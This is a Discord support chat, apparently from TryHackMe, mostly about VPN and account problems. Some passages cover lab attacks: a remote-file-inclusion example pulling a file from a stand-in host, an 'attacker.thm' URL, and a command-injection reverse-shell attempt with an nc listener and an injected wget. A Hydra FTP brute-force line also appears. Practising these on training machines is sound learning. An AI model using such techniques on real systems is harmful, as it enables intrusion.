Nope, running openvpn in the background with &
Do me a favor, don't background it and open a new term window or pane and run the curl command
Will do
lets see if there's any new output, and maybe check the journal log as well
Run the VPN troubleshooting script
MTU failed at 1000
That's what sent me here ๐
any ideas would be greatly appreciated
it works without issues on my laptop, I just canยดt seem to get it work on my nethunter phone
I can ping google without issues
When trying to open a learning pathway I always get Jr Penetration Tester regardless of which pathway I choose. I've tried in both Chrome and Firefox. Anyone else having this problem?
TX pakets are increasing, RX packets are not
Opening the learning pathway from a bookmark or the actual THM site?
My bet is that it's something to do with the cell network hating your vpn connection; try setting the MTU option manually as an argument to the openvpn command or edit the config file
From the site
oops, responded to the wrong message
Could you send a ss from what you're trying to click?
What? Try clearing cache and history or opening in an incognito window
I{m connected to wifi not cell data, but I did think the same thing originally, but the ISPreplied that they are not to blame
most likely an assigned cookie that just needs cleared
or your browser's cache
I cleared the cache and tried using an incognito window. Neither worked.
Yeah, I wouldn't trust that. Depending on network congestion, I think it's pretty likely. Also wifi is less than reliable in a lot of situations as well, if there are a lot of devices connected to a home network I could easily see that thrashing the network as well.
So even if you click a path like 'Pre-Security' or 'Cyber Defense', it still takes you to Jr. Pentester?
I was able to find a link directly to the pathway I want but when I click on enroll it takes me to the Jr Penetration Tester page again
Yes, no matter which one I select.
Frustrating because I was working on the SOC pathway and can't continue.
I just clicked that link and it took me to Jr Pentester
It's odd that it does the same for both Chrome and Firefox
could be a thing where your account saves your last accessed path, and uses that for any links you try to click on.
tried making a new account and accessing the SOC path?
I created some custom paths in our management dashboard for our different classes, when ever I click the join link it takes me to the same path (i.e. click the CYB 331 path and it takes me to the CYB 453 path). I tried different browser, clearing cache and incognito. Seems like a problem similar to @strange oasis
I can get to it if I'm not logged in. As soon as I log in it takes me to Jr Pentester
it also happens if I click a generic THM path
@broken bear can you re verify me when you have a chance or point me in direction to do it ๐
send the !verify <token> command to the bot in a DM again
Definitely sounds the same.
I just logged in using Microsoft Edge. I have never been to TryHackMe using this browser before. Still takes me to Jr Pentester
maybe there is an issue on their backend that tracks the path you are on
will try switching to mobile data hotspot from my daily driver, see if it makes any difference
update: tried switching to mobile data
curl: (7) Failed to connect to 10.10.10.10 port 443 after 78 ms: Couldn't connect to server
curl fails this time instead of hanging there
Must be.
@broken bear need to update my token had not change discord accounts unfortunately so my token says it have one applied to this discord already
ping fails with TTL value exeeded
You just want the token unlinked to the current discord account I am replying to?
I hope this can be fixed quickly. I reupped my membership so I could complete the SOC pathway and now I'm at a standstill.
at least progress, i really think it's network related and not necessarily ovpn. If you change the MTU to 1000 and it still fails, try a different network? Maybe the starbucks or the public library will be better
any tips or steps to get better machine stability? Multiple rooms machines crashing on me under 5 minutes...
might want to report it to #site-bugs
Will do, thank you.
Gave +1 Rep to @quaint spindle
@broken bear yes please
will test on a different network later today
@strange oasis all of the SOC Level 1 rooms are listed here: https://tryhackme.com/path/outline/soclevel1
you might be able to go to each one indvidually
Thank you! I will give that a try.
That worked. thanks again.
Great! Have fun
thanks juun veri the correct token thanks a million
Hello. I just checked out AWS path which is locked. After I opened the path i understood it was not available for me, so fine. But now i am kinda stuck in the path. Attempts to enroll in other paths just redirects me back to AWS path. I cannot open any other path. Seems crazy but has someone experienced it before?
ooh 2 people with the same problem
and there we go a third it happens to shadow too
@tawdry orbit seems something is messing up the changing of current active path for users keeping them stuck in a single one when trying to view the others
Hi allโ I canโt seem to select any other learning path on the site
I want to switch over to a different one but every link takes me back to my current enrollment
Anyone experienced this before? Is this a site bug?
Ah! Indeed
Yes you are not the first
Ok Iโm not going insane. Thank you
Forwarding this one. It seems to be with any path switch, not just from AWS to another path. Thank you for reporting. ๐
Thanks!
Gave +1 Rep to @tawdry orbit
Yeah it seems like it. Thanks!
Gave +1 Rep to @tawdry orbit
yuup can confirm.. it is happening with some for junior pentester
and for shadow with offensive pentesting
We're looking at the issue at the moment. ๐
uh I can't seem to change my email to my student email (which I hope is supported since it's @du.se)
Swedish university (Dalarna University)
ok it finally worked, weird. Must have been a bug or request overload ๐
@rough totem @bronze escarp @strange oasis @plush bay Should be working now. ๐ฅณ
It's back to normal, thanks for the quick response!

Thank you, all good now.

Hi guys, tested on different network with same results
Same output for the ts script, MTU value failed at 1000, aborting MTU check
Tried setting the MTU on the IF to 900 but same thing
Tried 1460, 1300, 1200, 1000, 900, all yield same results
I tried again on my laptop running kali on WSL2 which used to work but for some reason that ain't working either
@broken bear
we have exhausted my knowledge of what i've seen to troubleshoot. Best bet for the next step is to email support, i think
Thanks a lot for your help and patience, will email support
anyone here?
Can OpenVPN work on a mobile 3G hotspot ?
It's touch and go, it works for some, but not others, and not 100%
What sort of problem?
Just ask ๐
login failure
and forget password don't work
my account name is aelwalol
and i forget the linked email
but iam sure it's one of 2 email
and the problem is conflict email address and login with google feature
If you didn't sign up with google, you can't use it to log in.
You'll need to email support.
I got "Connection Timeout" when I tried to connect OpenVPN. Is anyone else experiencing the same problem?
For more context, what are you trying to do?
I just try to connect with my conf. file (EU VIP1). I seems connected in the access page but it's not.
That page can be bugged,
Do you have an error?
I get Connection Failed on OpenVPN GUI
Oh wait, GUI.
Are you on Windows?
and yeah thats bugged sometimes it's connected sometimes not
yes
As your host?
yes
I'd suggest not using your host on the network.
I'd create a VM, if you have the resources.
And you suggest to set openvpn on vm right?
You won't need to.
You just need to download your configuration file and connect with
sudo openvpn path/to/file/*username*.ovpn
That will create a tunnel to the THM machines.
Ok. I'm on windows host. My vm is linux so I should use on vm
Yes
thank you I will try
Openvpn issue still there
I have an issue with my account, I reactivated premium on 13 July - worked for 1-2 days and now it says I do not have premium anymore.

Anyone know how to get the discount voucher for the merch? The 5% off for the 45 day streak
quite sure it applies automatically but good question
May just take a second to send out but will see! thanks for the response
Gave +1 Rep to @plush bay
You need to E-mail support.
think one of the people with thm staff could probably answer.... not so much anyone else
yeah that is a good route too
It's the only route ๐
so does this imply shadow has missed out on their 5% discount for all their purchases on the swag store???
don't really care as would like to support tryhackme with more money anyways
Yes.
You could probably ask Jabba for it now xD
because they nevered messaged for a a discount code
good to know and thanks scrubz.. will ask jabba whenever they are around if shadow remembers
Gave +1 Rep to @weary spindle
With the amount of users in THM, and it was manual, Jabba would spend all day E-mailing people.
contact support via email for the discount code.... sorry was incorrect in the info shadow shared
Sent them an email. thanks
Gave +1 Rep to @plush bay
yeah shadow just thought it was some automation setup for it but apparently not
Is there any option to change username now ?
click this button in the lower right corner of the tryhackme website:
then from there use the send a message and then help with my account then i would like to change my username
Ty for help, Just a question, Changing username can have any effect on stats?
Gave +1 Rep to @plush bay
your points and badges??? or your activity feed??? nope should not change after you get a new username
Oh kk . ty again

if anyone can help me with this
you need username@ip
nah not necessary see my phone network works 100% i just want Initial connection
Everything body is having issues with their phone networks these days, wonder if something is fished to stop making it work.
@north tulip you'll also need to regenerate your vpn, you'll also be assigned a new tun ip.
It wasn't me asking
nvm btw
I referred to when you change your username.
I should have made that cleaerer
nvm :>
Yo does someone here know how can I paste into a windows machine in the browser RDP seem to work very poorly for me
There should be like a little tag on the left side that you can expand. Then select the middle button. From there it should work
If you put it in full screen mode, it should access your clipboard.
I already paid my subscription last 2 days but until now it says Payment Pending
You will automatically be navigated away from this page when the payment is confirmed. help me
this is the guide for subscribers for which path they should take but i cannot seem to find the link for CC:Pentesting path
Cc pentesting has been removed from the site due to being too old, iirc
Hey can someone help me please?
I will no longer be able to access my account, so I need to at least cancel my subscription.
I had an autogenerated password by my browser to my THM account AND to my Email. My computer won't boot so I lost access to both Email and THM account.
I can easily create a new THM account, but the old one would be renewing the subscription and taking my money.
cc @bronze vale can they contact their bank to stop it while waiting for a response from support?
Was it a password manager?
It was the built-in keychain in Firefox but I wasn't using a account.
I tried everything so my only option is cancelling the subscription somehow..
I do have the account paired with my Google Authenticator app on my phone, but I doubt that will help
Not really no
How's the support response time these days?
Just so we can advise members who wish to contact.
Itโs still the same, it should hopefully be saying 1w for the response time, a few users are neglecting to read it though
Hello, I keep getting disconnected from machines in every five seconds or less. My internet connection is good, I don't know what is wrong. It used to be fine but now it is impossible to do the tasks.
why doesnt telnet work for the target's ip on my kalininux (stuck on "trying") but it works on the site's ran machines?
Trying 10.10.243.72...
tenlet: Unable to connect to remote host: Connection timed out
Where is that IP address from?
THM room, its just about port 8012
I got my account back, if anyone from support sees this, there's no need to cancel the subscription anymore.
I think support will email you back confirming you want it deleted.
TY!
Hey, please DM me your email address ๐
You sure? :p
I think I seen Jabba say that once.
I wouldn't count on it ๐
Before tickets we would ask, now that we use a ticket system, you are manually inputting your information which is all the confirmation we need ๐

hidey ho neighborinos! i'm having the dangedest problem trying to access the network on the 'breaching ad' room.
yes have the vpn for breachingad
changed DNS in NetworkManager to the thmdc IP..also did a systemctl restart networkmanager after
but when i nslookup or try to ping, host is unreachable. i also tried the resolv.conf file !! no joy
i'm beginning to think it was my VM networking but i've tried both NAT network and bridged. i'm outta ideas
i followed two walkthroughs haha no luck 
Check the pins in #breaching-ad
I used what's suggested in the forum. I have a script that modify somethings but I still get caught with it.
Is it normal that the IP Address in the "Active Machine Information" is different from the AttackBox IP Address?
I'm doing the Jr Pen Tester, I'm at File Inclusion and I'm supposed to have a file called cmd.txt, but when i type it in my browser (http://10.10.x.x./cmd.txt)
One IP says Not Found
And the second IP says Error code 405
I tried restarting everything many times, but I always get a different IP at the top of the THM page (next to my hacking streak) and a different IP inside the AttackBox
You're confusing the AttackBox with the machine that you deploy in the task.
The AttackBox is deployed using the blue "Start AttackBox" button at the top of the room, the target/vulnerable machine is the one that is deployed using the green "Start Machine" button.
There will be a card at the top of the room that will display the IP address that you are supposed to attack. The IP at the top of the THM page next to your hacking streak is either your AttackBox (not the machine you're supposed to target), or the IP address of your VPN connection ๐
Ohh makes sense thank you.
Any idea why I can't access the cmd.txt file?
Gave +1 Rep to @zealous yoke
#1 is the AttackBox (via the Start AttackBox button)
#2 is the IP address of the machine that you need to target or interact with. In this case, it is 10.10.231.210. So, using your example, I would need to access 10.10.231.210/cmd.txt
you would replace that with whatever is displayed in that card (#2)
Mhhm okay. That is the correct ip ๐ค
Let me double check the room - I haven't done it for a while. What task are you on?
Yeah it's strange, its Task 6
Okay, so it looks like that IP/cmd.txt is just an example?
And just below, it asks you to try out an RFI attack. I would presume that the machine is configured so that /cmd.txt can only be get through a certain way.
I get what you mean but i tried that too
I sent the wrong screen actually but yeah I did try multiple things
This is the correct link I believe, but doesn't work
Ah, okay I understand now
Right so essentially:
- You need to create and host the cmd.txt from your machine (I.e. Kali) using something such as python server for example:
Let's say that the attacker hosts a PHP file on their own server http://attacker.thm/cmd.txt where cmd.txt contains a printing message Hello THM
-
http://attacker.thm/cmd.txtin thehttp://webapp.thm/index.php?lang=http://attacker.thm/cmd.txtneeds to be the IP address of your machine. -
Say I create a file name cmd.txt and fill it with
cmnaticon my Kali, which has a VPN IP of 10.14.32.16, I would do:http://webapp.thm/index.php?lang=http://10.14.32.16/cmd.txtthat should displaycmnaticon the site
Haven't tested, but I think that's my understanding of what the task is wanting you to do after having a re-read of it
Yes I tried creating the .txt file using echo whatsup > cmd.txt in the terminal
but that didnt help
So i guess im supposed to find how to "host the file" ?
Okay yup so echo whatsup > cmd.txt is the first step. But now you need to "host" the file so that the remote machine can access it. Something like a python http server is really quick and easy for this: python 3 -m http.server
Oh okay I've got it. I can show you what needs to be done. Wanna hop in VC and I can share my screen/talk through it?
Yea sure that'd be great
we can go to https://discord.com/channels/521382216299839518/794951289951092766 I'll be there in a minute ๐

You're more than welcome. Lot of info take on board but hopefully that was helpful ๐
Very helpful ๐
no but sounds like something that would be interesting but don't think aws supports mac virtual machines for target machines
not currently unfortunately. I have a room on iOS forensics but that's pretty much it for anything mac. This is because it is extremely hard to virtualise and such
AWS do, however, it is extremely costly, and IIRC, there is minimum deploy time on mac instances on AWS. If I remember right, AWS will force you to run the Mac instance for a minimum of 24 hours
at least not at the moment
Not that I can think off on the top of my head. Could be a tool saving a HTTP request or something - hard to tell without knowing what you were doing at the time the file was created
ah mhhm strange. Yeah, I'm not entirely sure to be honest with you ๐
jabba asked around about it earlier too
so it is a bit of a mystery and without much info on it we can do near null
how do the scoreboards in challenge rooms work? looks like It's always just 10 random users
the first 10 completers shadow thinks
with blood points to the person that answered the task question first
Sorted on points, the user viewing is always at spot 10 unless they have more points than spots 1 to 9.
i don't see any blood points - all the 1-9 spots have the same amount of points
Not all rooms have blood points, usually only challenges, but sometimes walkthrough rooms.
also the dates got me confused - for example https://tryhackme.com/room/easyctf shows first 9 completions in a span of more than a year which is hard to believe
expecially since
85429 users are in here and this room is 1432 days old.
i've seen a few questions, but no real answers. i have a 45+ day streak and am looking for 5% off, but I received no coupon code and the prices are the same in the store. What am I missing?
Hey ya'll. I need help. Trying to terminate machine, and when I press button to terminate, it terminates but really doesn't, I reload page. It still has time counting down. I have done this numerous time. Cleared Cache and still same issue. This is really weird. I will let the time runout and see if the machine is still running but why do that?! I need to know why it is acting like I never pressed the terminate button!!!!
I am assuming your good now? I am having the same problem you were. What is the cause of it? Why do I have to wait for time to runout for it to self terminate. This is very frustrating and I don't have time like that
I also tried : fetch("/api/vm/running")
.then((r) => r.json())
.then((vms) =>

)
Doesn't work
for me at least
Im just gonna go to bed, wake up and see whats up, I have an hour and some change left on machine. i'll come back with update...
Try this one,

Hello, I have a problem with accessing the machine. I did the steps on this room https://tryhackme.com/room/openvpn
I started a machine at 10.10.105.136
At the end it says:
Go to http://10.10.105.136 - can you see a website?
But then I get the "connection timed out error" on the browser. I have the OpenVPN connected with the config from the access page.
Does anybody know why this happens?
I can't complete the room without accessing the machine from the browser...

Hey, the VPN doesn't route your internet trafffic. For example, if you visit youtube.com it'll come from your ISP IP address.
Anything you do on the machines (i.e. 10.10) is "internal" ๐
Hello, just a quick question. I submitted a writeup yesterday to vulnversity and it's under review, can i know how long is it going to take? Because i read in a forum it's all upto the owner of the room and you gotta let em know. So here I am
That probably won't be accepted.
Because the rooms old or?
Yes
Okay np
Is it posted on other forums? Even if it's not put on the writeups section, could still go to good use

Hello there i have a problem i cant accsed to a machine altough i am connecting to the openvpn ?
does the attackbox work?
Yes it is working
some rooms have machines that haven't disabled firewall rules etc so i would use the attackbox. happens to me especially on the EternalBlue room
Oow i incounterd the problem in the owasp top 10 room in the injection challenge
so i should use the attack box not the host directly
yep i presume you mean the book site?
If it yes is there is nothing else to do ?
nope not really, you can report it in room-bugs but tbh most of the rooms are outdated
it shouldn't happen in the injection challenge, i thought you ment task 26
No in this challenge
I dont know it
you can access the website with vpn yes/no?
No i cant acces it with vpn neither normal connection
have you started the machine in task 2?
try restarting the machine
also check with "ss -tulpn" on how many openvpn connections you have
if you have more than 1 then kill the rest
remember that its on port 82 aswell
Yes it worked , i didnt start the machine from the first and secondly i specify it on port 82
so it works now?
Thank you so much @naive dust

Hello ~ apologies for bugging about this again, I have looked a the THM forum and found no answer to my problem. My prblem is I am still having issues with thm-troubleshoot script and recieving the following result below:
when did you last regen your config?
Hello i have 2.6 openvpn and i did what appears in this article to make it work https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0 but then appears this problem https://ibb.co/CKP8100
do you know what i should do?
Hello i have 2.6 openvpn and i did what appears in this article to make it work https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0 but then appears this problem when i run my file of ovpn
Can you cat your openvpn file?
I believe I might have a solution to that, just need to switch my machine, one moment
try:
openvpn --data-ciphers 'AES-256-CBC:AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305' --config <path to config file>
i dont know if it have private things
Don't suggest this please.
Yes.
oh sorry I didn't know there's something wrong with this but it has been working for me
may I ask why it should not be suggested?
We like to suggest users either use the Troubleshoot script, or regen their vpn file,
We don't suggest this (by mods request)
โข people shouldn't run code on their machines without knowign what it does.
โข Some people suggest the sed code, and it doesn't just replace it one config, it changes them all, so they could have multiple .ovpn files in their folder, that may or may not no longer work.
Also, I doubt you, yourself will blindly run code without knowing what it does.
And I'm not a mod/staff, I'm just relaying what we have been asked to do, in this case.
Oh sorry I'm new to here, didn't know that's the case, just bumped into what feels like the exact same issue before and wanted to suggest a solution. By no means I would encourage to run any code blindly, and by sending the command I suspected that user will do the research on what the command does before running it.
Hi, I can't get a student discount on my subscription, I would appreciate it if someone could help.
If your email is not recognised, you'll need to send an E-mail to the following address
I've also encountered one problem recently. During a specific timeframe (around 9 pm-11 pm CEST this Monday), I've not been gaining any points for answering questions (tried different rooms). Issue stopped occurring in the morning of the following day but points that I've gained during that timeframe (about 400 points) have not came back. I've written an email to support but have not received any response yet. Is it a known issue? Is there anything else I should try?
I can share much more details about this if needed. Did some tests during that time frame to confirm that (which I sadly have not recorded) and I'm 100% certain the issue was there, beyond any doubt. If I, lets say, created new account and completed all the same rooms I have completed now, there would be a ~400 points discrepancy between my current account and that new one.
Hello, I have sent an email to the support over a week ago about the student discount including verification but heard nothing back so far.
Dm me your email Address please
dm'ed!
The site's down? It's throwing 500
I'm setting up OpenVPN for TryHack me for the first time. Windows 11, fresh install.
The connection in OpenVPNGUI just keeps looping and the log shows this:
Client exception in transport_recv: crypto_alg: BF-CBC: bad cipher for data channel use
I run the program as admin. I'm using the latest version for win 11 on the site. I tried rebooting. Tried installing and uninstalling. I've tried different servers for OpenVPN. The connection exists in network settings.
Anybody have any ideas?
Okay, so I found the solution here: https://tryhackme.com/forum/thread/62bc5fb1fcafa700618f25f0
The thread is from a year ago, and the response from a community member 5 months old, but still a problem I see. I had to add a line to the config file:
cipher AES-256-CBC
data-ciphers AES-256-CBC
Just doing "data-cipher AES-256-CBC" or "cipher AES-256-CBC" independently was ineffective. Both lines had to be present and it connected immediately.
Update your config file generator please!
What VPN server are you using?
It sounds like you haven't regenerated your OpenVPN file
It defaulted me to EU-Regular-3 when I first generated one.
Then I tried EU-Regular-2
Then US-East-Regular-1
Then EU-Regular-1
Then I went back to 3 to continue troubleshooting and adding the lines to the config file are what solved it.
Did you press the "regenerate" button?
Yes. Each time.
Don't know what to tell ya. I tried ever other setting change and troubleshooting recommendation I could. The config file line addition is the only thing that's worked.
I just regenerated and downloaded another config file just now and it did not work. Loaded the previous config with the line edit and it works instantly.
Does it hurt anything to add the line as a "cover all bases" approach?
Yes
In the newest versions of OpenVPN, the cipher line is becoming depreciated.
Soon, OpenVPN will not accept the cipher line and you will not be able to connect.
I see. Well like I said, each of those lines independently did not work. I got a different error message when just the cipher line was present.
But with both it was instant
We are looking to improve our infrastructure to ensure that our OpenVPN configurations are working for the newest versions of OpenVPN.
See here: #site-support message
Keep this conversation in mind if this issue crops up for others. There's other people on the forum also experiencing it and the same solution works for them. Even if ciphers is deprecated, the Server handshake code might still be looking for the line to be there for some arbitrary reason before it looks for the data-ciphers line. Thanks for being so prompt with responses and information though. Just glad I found a solution before I gave up.

How can In copy text and files from my attack box to host machine. PS: Clipboard doesn't work
There is a little arrow in-between the windows that allows you to paste into and then it will be accesable in the attackbox. Or you can hit the button to make the Attack box full screen which will launch a seperate window for it then copy/paste should work like normal
that does not work??
I have tried that. Gone full screen too. Still doesn't work
If you give the browser permission...
It doesn't.
hmm weird
I have also given the browser permission to my clipboard. Just verified now. Still Doesn't work
You mean to copy an entire file? Or just text?
Just text.
I am on the Threat Intelligence Tools lab and they didn't have to option to download lab files too.
When you try to paste into the attack box terminal are you using ctrl+shift+v ?
I am not trying to paste on the terminal. I am trying to copy text from the attackbox to my host pc.
Oh then no idea why the clipboard that Shadow showed a gif of should populate with the info when you copy out of an attack box
aaah
that specific room is not the attackbox
and the files on said target machine that opens in split view also uses some malware samples
so do not try and download said files onto your own machine
Ahh good catch Shadow
Then how am I supposed to get malware info as the machine doesn't connect to the internet? I am supposed to inspect the emails with phish tools but I am unable to ๐ฆ
step one.... read the 3-5 lines above the questions in the phishtool task

Hi I'm doing "Net Sec Challenge" and I can't connect to FTP server. Any issue with the server?
Attackbox or VM?
VM. Should I do it withi Attackbox?
Are you on the vpn?
yes
what's your target ip?
10.10.248.11
Did you nmap the machine at all?
yeah and I know the ftp port is 10**
Are you declaring it on the ftp command?
yes
it's strange coz hydra is giving me some trouble too
I'm trying hydra -L usersftp.txt -P /usr/share/wordlists/rockyou.txt -vV ftp://10.10.165.20:1021
1021?
Why 1021?
I discovered that port with nmap, I think
..Are you sure?
I think that's where your problems are coming from...
let me check it out
sorry 10021
Does it work now when you declare the correct port?
(if you're in a vm, you might not have rockyou.txt in the same location as the hint)
Yes it does thanks

Is there a way to change the name on the certificate from my username to my full name? (I accidentally chose the username and now when I changed it to my full name the certificate does not get updated sadly)
sorry if i am in the wrong channel for these kind of questions :/
You can't change the name on a certificate after it's generated.
You'll need to either use paint, or create a whole new account
oh ok thanks for the answer :/ and for some reason the verification here does not work for me i dmed the bot with my token but yh...
The discord bot will have no effect on your certificate.
Unless you're trying to upload it here.
yes I know I just wanted to verify my account here its another problem besides the cert ๐
Did you use
!verify *discord token*
yes I did
Did you get an error message?
nope i didnt get any answer thats why I am kinda confused
Are your dm's open?
yes
@zealous yoke
Is the bot stuck again?
(Ping worked in bot commands)
I've pinged staff, there's nothing I can do, the verification should be instant.
ok ty anyways ๐ maybe it fixes itself idk
And due to my red teamer role, the bot no longer replies to me.
I've restarted it:)
should be good to go if you try again @oblique vapor
hey guys im a bit new to all of this and i'm running into an issue connecting to openvpn. I went through the tutorial on downloading and installing it that was linked in the Linux Fundamentals Part 1 room.

Hello I have a question

I figured out I actually need a somewhat knowledge of link and how it works
Hey guys I need help, so I'm doing Command injection and I already got the flag but I want to do a reverse shell.
I figured that if I put a semicolon first in the input box, I can run commands like whoami, hostname, etc.
so now I'm trying to do the php reverse shell that I downloaded from pentestmonkey from github
I change the rev shell file to my IP, and port to 4444, I start listening using "nc -lvp 4444", and I start a server using "sudo python3 -m http.server"
But now I'm stuck, in previous rooms I accessed the php file using the url "index.php?file=http://........"
now that doesn't work anymore, so I tried typing ";wget "http://......" in the input box, but that doesn't work either.
Any ideas?
remote file inclusion and by extension getting shells that way is nearly never a thingy
if you can run hostname and whoami try something like a bash or python reverse shell
i.e if you got command execution a php reverse shell is not the way forward
generally
Oh so should i get a premade file similar to the php reverse shell from pentestmonkey?
but for python this time
facedesk
no not a file
a command
see https://revshells.com for examples
doubt it
just run a command to spawn a shell
can't really give them here as examples without possibly getting yelled at
can you please DM them?
no need.. the commands are listed on revshells.com above
okay thank you
Yayy I'm in! Thanks!

Hello, quick question about subscriptions. Is there any way to purchase a subscription code at a student discount? I'm assuming no, since the system doesn't know who will be redeeming the code at the time it is purchased, but just wanted to check. Thanks!
You're correct, you can't purchase vouchers for subscriptions.
I purchased a premium membership, trying 3 times to pay for it. All 3 transactions came out of my bank account and I still donโt have access to premium. I contacted support 7 days ago with absolutely no response. Iโm beyond irritated and want this fixed. Does anyone here work directly for Tryhackme?
There is site staff, but account issues can only be spoken about over E-mail.
Response time is 3-4 day(s), It's unusual for them to miss out.
Send another E-mail today, but not more than once in 7 days, I'm sure someone from support will see this and ask you to DM them.
DM me your email address
We're on 7d right now, I would keep telling people we're 5-7 days because of weekends and all that
No probemo.

My THM vpn on Windows worked earlier today but at some point it stopped working, no connection to any 10.10.x IP's, tried multiple different boxes. Also I see a keepalive_timeout every 2 minutes in my openvpn client log when connected to either EU-VIP-1 or EU-VIP-2 endpoints. Other non-THM VPN connections in my OpenVPN client work fine. Rebooted windows, no change.
https://tryhackme.com/access says all is fine, green checkboxes
can you curl https://10.10.10.10/whoami and get respond ?
Nope, it can't open a connection on TCP443 at all it seems
also ping -c 3 10.10.10.10 do you have lost packets or ?
yes nothing is going through, all time out
probably also why the keepalives of the vpn connection itself also timeout
no other vpn connection active ? meaning no vpn stacking
try regenerate vpn file?
It's might be the gui error

if you have some linux/kali in VM, try from there
might be just "the windows" thing. if works from VM
feels like some adaptive firewall thingy decided to drop all traffic for the vpn at some point, frustrating
windows =/ hehe
well vpn to my own box works like a charm, so its probably something specific to the connection method that THM uses for their ovpn profile then ๐
Which country are you in?
Netherlands
what country flag you have ?
What do you mean?
sry mi bad. ignore that
i can't tell for windows since im not using it. but as some from nl also i never har issue using linux
Anyone have idea of resolving country flag issue? I have tried many things but not working
Windows OpenVPN isn't very good.
Are you using your host, or a VM?
Hey guys, i cant reach thm machines with VPN on,
1.openvpn session is successfull according to the site.
2.already tried reloading conf file on different servers.
3. routing table seems ok.
i am with vpn on my VM and trying to ssh to the machine on Metasploit: Exploitation msfvenom part, this machine does not reply to ping as well - earlier i was in another room and couldnt nmap a machine that responded to a scan from the attack box.
Thanks to any helpers
!vpnscript
try that and see if it finds anything
MTU value failed at 1000, aborting MTU check
happens again after reloading another config file
okay then that is weird
Hey Guys, I subscribed for Tryhackme premium but my account isn't activated yet, the money got deducted it's been more than 10days can somebody help ?

Hey guys, is there any problem with the subscription page? I'm trying to subscribe but nothing happens on the webpage https://tryhackme.com/why-subscribe
This was on my windows host, will try a kali vm later when I have time
It's not a good idea to have your host on the network.
any chance someone could help me w some issue connecting the enumeratingAD Room?
yuups
im connected to the vpn just fine, and when i run nslookup thmdc.za.tryhackme.com it resolves to the DC IP as it should
but when i go to http://distributor.za.tryhackme.com/creds to get the credentials for the room keeps telling me connection timed out but internet is still working so its the link
hmmm
is it the first entry or do you have some other dns entry above it???
search za.tryhackme.com nameserver 10.200.68.101
2 more below it
should i try removing the 2 other dns servers i have in there temporarily?
nah that should be fine then
well can't do much more then recommend trying the vpn script or trying other subnets of the network by leaving and rejoining
!vpnscript
gotcha thank u
hope you can fix
is it just for me that the subscription is not working?

I am currently in the "Walking and Application" section of the site, and when I try to access the website listed via the virtual machine, I keep getting a 504 Gateway Time-Out. Am I doing something wrong?

I'm opening THM in a vanilla kali installation in firefox, and for some pages it partially loads the page and then gets stuck on various 3rd party elements like google analytics, gravatar, etc. Anybody encountered this before? The rest of the site doesn't seem to load at that point so I can't really use THM this way
Waiting for region1.analytics.google.com.... is all it says in the status bar
Tried installing adblocker addon in firefox to see if that helps but it doesn't seem to affect it.
After a few minutes of waiting it seems to timeout on those elements and then suddenly the page appears.
This shows the 2-3min loading time in the network requests list

Hi, may I know if I can clone a machine from a challenge to my local VM? Trying to demo https://tryhackme.com/room/tomghost# for the class
No, you're not able to clone any of the THM machines.
How long ago did you start the machine?
like 10min ago
Terminate, and restart the machine.
leave it 5-10 minutes until you start trying to exploit the machine.
I wasn't able to do yours, but I booted up a machine and got it.
Just need to wait.
still doesnt work
wait am i using the right ip?
is it supposed to be the attackbox ip
if no, which ip
RHOST is target.
LHOST is your machine.
So if it's attackbox, ens5.
VM - tun0
RHOST = 10.10.131.28
For me
how do i get those values, like just curious what they mean exactly
ip a s
okay with the machines ip (for me its 10.10.86.113) even ping doesnt work
Will show you all your interfaces and their ip.
how can I acces my kali machine if I have premium?
There is a drop down menu
BRUH, i set lhost to my vpn ip, not to tun0
attackbox. I can't acces it in a separate tab for example?
thanks! you think i should change to vm or dual boot with kali?
Vm.

Ah okay, so taking a look, your streak is "1". You need to have a streak of at least 7 or be subscribed to THM to access networks such as breachingAD. The networks show their entry requirements ๐
Ohhh got it, thank you!
There used to be a pop-up that would say that if you aren't eligible, but it doesn't seem the be displaying anymore. I'll pass that along internally:)
Okay. Glad to help

apparently I have to add a cipher but I dont know how
@weary spindle
post your full command
my command was sudo openvpn file.ovpn
Check the pins in this channel
also, threes a cours/path/whatever in THM that covers conencting with vpn is three? or am I mistaken?
You mean ```Please ensure you are not using the OpenVPN GUI or Network Manager.
Use the command-line interface to connect to the OpenVPN service.
If you are on MacOS, you may need to use Homebrew to install OpenVPN; brew install openvpn
If you are on Linux, please use your default package manager. For Ubuntu it is apt, sudo apt install openvpn.``` ? @woeful hedge
No, there is a pin that goes over your issue
but yeah a quick google or even chat gpt will goive info:
So, the line should look something like this:
--data-ciphers AES-256-CBC:AES-256-GCM:AES-128-GCM:CHACHA20-POLY1305
This tells your OpenVPN client to use AES-256-CBC as well as the other ciphers it was already using, allowing it to connect to servers that use any of these ciphers.```
but the tun issue thats a perms issue. are you sure youre properly suding? maybe reistall openvpn
Honest answer, I feel like youve come here for help without trying to research or fix it first. which isnt the way round you should be doing it
the ping:
Replace the cipher AES-256-CBC line in your .ovpn config with data-ciphers AES-256-CBC
To do this, you can use the text editor of your choice, or simply type nano filename.ovpn into your terminal.
Make sure not to edit anything else, and save it with the same file name.
Then, re-run the VPN with openvpn filename.ovpn. Let me or any of our community mentors know if these steps have not worked for you and we will troubleshoot further.```
Let's fix the cipher issue first please. Changing too many things at once causes a bigger mess.
but if the ciipher issue is relating to his version then a resintall would fix it too (once hes verified its a version issue etc..)
the issue is I dont think hes done any research first and jumped straight to asking for help
ive done research and chat gpt was as useless as you sadly @muted mason
I dont see a config file in my openVPN folder
I found a workaround but I wanna do the pinned thingy
uselss as me? im ot thew one struggling with openvpn ๐
Please stop pinging, I am in the chat. iirc they have the newest version of Openvpn. Which means reinstalling will get them to the same place.
my answer (the same as chatgpt) was the same as pinned just 1 changes the config, the other appends to the command xD
It's called a reply my guy
Leon, please stop being rude to community members
and I cant do neither cuz I cant find the config file @muted mason
what a clown, jesus
and im the useless one? lol
I am not "your guy". You can reply without the ping
but when theres a few people speaking need to make sure the right person gets the right message.
:mute: leonteale#0 has been muted.
When you select reply, there is a little @ symbol over to the right. If you deselect it, it replies to the message but does not ping the user.
I would conduct a query on your favorite search engine for "change openvpn cipher" and read StackOverflow or other forum post say before coming back with further questions. It will help everyone as it will give you a better understanding of what is going on.
By the way, we do not tolerate retaliation here.
I don't care who started it, if someone is being rude or aggressive please ping a moderator and wait for them to respond.
Don't bother entertaining them because you will end up being punished equally.
What VPN server are you using @stone panther
all the posts I found refferenced the ovpn config file which I cant find @woeful hedge
OpenVPN @bronze vale
VPN server on the website
Which directory did you download it to?
